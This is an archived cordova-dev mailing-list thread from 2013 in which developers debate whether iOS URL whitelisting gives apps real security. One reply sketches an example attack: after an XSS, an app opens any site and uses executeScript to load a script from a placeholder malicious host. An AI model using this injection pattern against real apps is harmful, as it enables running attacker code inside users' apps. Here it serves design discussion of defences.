cordova-dev mailing list archives

Site index · List index
Message view « Date » · « Thread »
Top « Date » · « Thread »
From Andrew Grieve <agri...@chromium.org>
Subject Re: iOS: The future of whitelisting
Date Mon, 15 Apr 2013 20:44:04 GMT
Kevin - the iOS CDVURLProtocol was changed (2.5ish) to only filter requests
from Cordova WebViews. I'd be interested in hearing if you still think it's
over-reaching.

I think the only real way to protect your app is to not have any
third-party scripts in it. We have an outstanding issue to create a guide
for this:

https://issues.apache.org/jira/browse/CB-2179


Would using InAppBrowser suite your need for handling third-party content?
E.g. What if we made a mode for IAB where it overlays the page (like an
iframe) instead of completely covering it?




On Thu, Apr 11, 2013 at 2:39 PM, Shravan Narayan <shravanrn@google.com>wrote:

> Hi,
> My name is Shravan - I am an intern at Google working on the Cordova App
> Harness (tool to test Cordova Apps).
>
> Something that I noticed while starting work on the App Harness. The new
> executeScript method allows injection of arbitrary pieces of javascript in
> the InAppBrowsers opened with "window.open". This script runs in context of
> the page loaded in the InAppBrowser. Whitelists might be still required in
> this scenario.
>
> *Quick example*
> Consider the scenario that there are no whitelists in the platforms. Any
> cordova app which is vulnerable to XSS attacks, can have the following code
> injected into them.
>
> *w = window.open("www.site_that_your_app_normally_doesnt_access.com",
> "_blank");*
> *w.executeScript({ file: "some_** malicious**_site.com/malicious.js"});
> *
> *
> *
> Thus they can open any website and inject any js file from any location.
> Whereas with whitelists the js file's domain "*some_** malicious**_
> site.com"
> *  would probably not be a part of the whitelist.
>
> *Small caveat: *The executeScript does have means to inject code directly
> as well with *w.executeScript({code:"(function() {alert("Hello");}) ();"})
> *but
> that may require a different solution not pertaining to this discussion.
>
> I don't know if this is a reason to keep the whitelists around but thought
> I'd mention it.
>
> Shravan
>
>
> On Wed, Apr 10, 2013 at 8:29 PM, Shazron <shazron@gmail.com> wrote:
>
> > Also the whitelist might be important for plugins. Specifically, people
> > that need to install plugins have a promise of what external locations
> are
> > being accessed.
> >
> > However, right now all iOS plugins bypass the whitelist because of our
> > User-Agent method, and that needs to be rectified before this "promise"
> is
> > true.
> >
> > Certain resources bypass the whitelist anyway because we have no way to
> > control them at the moment (audio/video tags):
> > https://issues.apache.org/jira/browse/CB-2451
> >
> >
> >
> >
> > On Wed, Apr 10, 2013 at 5:22 PM, Shazron <shazron@gmail.com> wrote:
> >
> > > Ideally we would have a WebPolicyDelegate like OS X
> > > (webView:decidePolicyForMIMEType:):
> > >
> > >
> >
> https://developer.apple.com/library/mac/#documentation/Cocoa/Reference/WebKit/Protocols/WebPolicyDelegate_Protocol/Reference/Reference.html
> > >
> > > ...where we can have some granularity - I'm not sure we can yet. If so,
> > we
> > > can defer to the app developer whether certain things like images can
> be
> > > let through - for example in MainViewController, you can set your own
> > > WebPolicyDelegate. We would allow images through by default.
> > >
> > > I'm not sure of "letting the fox in the hen-house" (allow everything)
> > then
> > > trying to guard against attacks (hens with shotguns?), this is
> JavaScript
> > > after all. I'm interested however in how your gatekeeper concept works
> to
> > > help with this since allowing an external URL location does not protect
> > > from this attach (think of the situation if the external host was
> hacked,
> > > and contained JS that attacks/intercepts our bridge).
> > >
> > > With the default wildcard in new projects, like others here have
> > > mentioned, the whitelist is effectively turned off, and 99% of devs
> won't
> > > care to restrict the whitelist.
> > >
> > >
> > >
> > > On Wed, Apr 10, 2013 at 3:06 PM, Braden Shepherdson <
> braden@chromium.org
> > >wrote:
> > >
> > >> Especially since permissions, on platforms that have such a notion,
> will
> > >> be
> > >> (eventually...) controlled by installing those plugins. So you can
> lean
> > on
> > >> the platform to block access to contacts as well. Even on platforms
> > >> without
> > >> such permissions control, if we don't load the contacts-retrieval
> native
> > >> code, then the JS can't get at it.
> > >>
> > >> Braden
> > >>
> > >>
> > >> On Wed, Apr 10, 2013 at 4:44 PM, Jesse <purplecabbage@gmail.com>
> wrote:
> > >>
> > >> > I am completely in favor of removing whitelisting as well.  I
> believe
> > it
> > >> > gives developers a false sense of security.
> > >> > imho the only sure way to protect access to the bridge is to only
> ever
> > >> load
> > >> > code that you control. We should be pushing developers towards
> > >> > best-practices.
> > >> >
> > >> > Some of the whitelist stuff should become redundant when we have
> > things
> > >> > like the Contact API moved into plugins.  ie. You can be absolutely
> > >> certain
> > >> > that no JS code is accessing the device's contacts if you do not
> > include
> > >> > the native pieces of the Contact API.
> > >> >
> > >> > @purplecabbage
> > >> > risingj.com
> > >> >
> > >> >
> > >> > On Wed, Apr 10, 2013 at 1:23 PM, Brian LeRoux <b@brian.io> wrote:
> > >> >
> > >> > > We recently moved to * by default to ease common userland woe.
I'd
> > be
> > >> in
> > >> > > favor of removal of whitelisting but I'm fairly certain that
would
> > be
> > >> > > a controversial position!
> > >> > >
> > >> > >
> > >> > > On Wed, Apr 10, 2013 at 11:38 AM, Kevin Hawkins <
> > >> > > kevin.hawkins.cordova@gmail.com> wrote:
> > >> > >
> > >> > > > Hey all,
> > >> > > >
> > >> > > > Those of us who have been on the implementing and/or serious
> > >> > consumption
> > >> > > > side of whitelisting for iOS—I've been on both at one
time or
> > >> > > another—know
> > >> > > > how much work has gone into trying to make it a full-featured
> > >> security
> > >> > > > subsystem for the iOS version of the framework.  I want
to share
> > >> some
> > >> > > > feedback based on my organization's experiences in
> implementation,
> > >> and
> > >> > > > hopefully spark some discussion about the future of whitelisting
> > on
> > >> iOS
> > >> > > > (and maybe the platform as a whole).
> > >> > > >
> > >> > > > We're essentially running into insurmountable issues with
> > >> whitelisting
> > >> > > for
> > >> > > > the use cases we're attempting, based on the overreach of
the
> > >> > > NSURLProtocol
> > >> > > > approach to whitelist handling.  I say overreach because,
in an
> > >> ideal
> > >> > > > world, Cordova should only ever care about safeguarding
traffic
> > >> > destined
> > >> > > to
> > >> > > > go through the hybrid/native bridge.  This argument can
be made
> > for
> > >> all
> > >> > > > platforms, but the lack of granularity is most onerously
> > >> overbearing on
> > >> > > > iOS, which filters every HTTP(S) packet that goes through
the
> app.
> > >> > > >
> > >> > > > Our requirements are very strict with regard to what's
> whitelisted
> > >> to
> > >> > go
> > >> > > > through the bridge.  But the bridge is conceptually the
only
> thing
> > >> we
> > >> > > care
> > >> > > > about, within that particular sphere of security.  We have
a
> more
> > >> > relaxed
> > >> > > > sphere of security for, say, <img src="http://maps.google.com"
> > />,
> > >> as
> > >> > > the
> > >> > > > threat vectors exposed through image rendering are considerably
> > less
> > >> > than
> > >> > > > malicious injected bridge code.
> > >> > > >
> > >> > > > Alas, we don't—and arguably never will—have that kind
of
> granular
> > >> > control
> > >> > > > in iOS, with the current implementation approach.  NSURLProtocol
> > is
> > >> > > simply
> > >> > > > too broad-brush to meld into a granular approach for
> whitelisting.
> > >>  The
> > >> > > end
> > >> > > > result is that we lose the ability to deliver a rich content
> > >> experience
> > >> > > > that leverages third party artifacts, because we're forced
to go
> > >> with
> > >> > the
> > >> > > > sphere of security that gives us the highest scrutiny, across
> the
> > >> > board.
> > >> > > >
> > >> > > > We've been considering (very early phase) some alternative
> > >> approaches
> > >> > to
> > >> > > > managing whitelisting.  Our current thinking has been focusing
> on
> > a
> > >> > > > gatekeeper (on the native side) to the bridge itself.  This
> would
> > >> > enforce
> > >> > > > some sort of contract between the hybrid and native side,
to
> make
> > a
> > >> > > > determination of which traffic is authorized to specifically
go
> > >> through
> > >> > > the
> > >> > > > bridge.  I'm not sure what that contract looks like at this
> point,
> > >> but
> > >> > > > enforcement would be bridge-specific, and all other webview
> > traffic
> > >> > would
> > >> > > > otherwise behave as it would in a normal web application.
> > >> > > >
> > >> > > > I know from past discussions that many (most?) Cordova
> developers
> > >> don't
> > >> > > > generally use the whitelist, since their security concerns
may
> not
> > >> be
> > >> > as
> > >> > > > great, and/or they exclusively host their app functionality
> > locally
> > >> to
> > >> > > the
> > >> > > > device, which allows them to essentially implement their
own
> > >> controls
> > >> > on
> > >> > > > attack vectors through selective app content.  In our case,
> we're
> > >> > > building
> > >> > > > an enterprise platform where content could come from any
number
> of
> > >> > > sources.
> > >> > > >  And whitelisting controls are not working for us.
> > >> > > >
> > >> > > > If there's a future for whitelisting in Cordova 3.0, I
> personally
> > >> feel
> > >> > > that
> > >> > > > it needs to be revisited.  I'd be interested to hear thoughts
> from
> > >> > others
> > >> > > > on their usage patterns, and responses to my concerns.
> > >> > > >
> > >> > > > Cheers,
> > >> > > > Kevin
> > >> > > >
> > >> > >
> > >> >
> > >>
> > >
> > >
> >
>

Mime
  • Unnamed multipart/alternative (inline, None, 0 bytes)
View raw message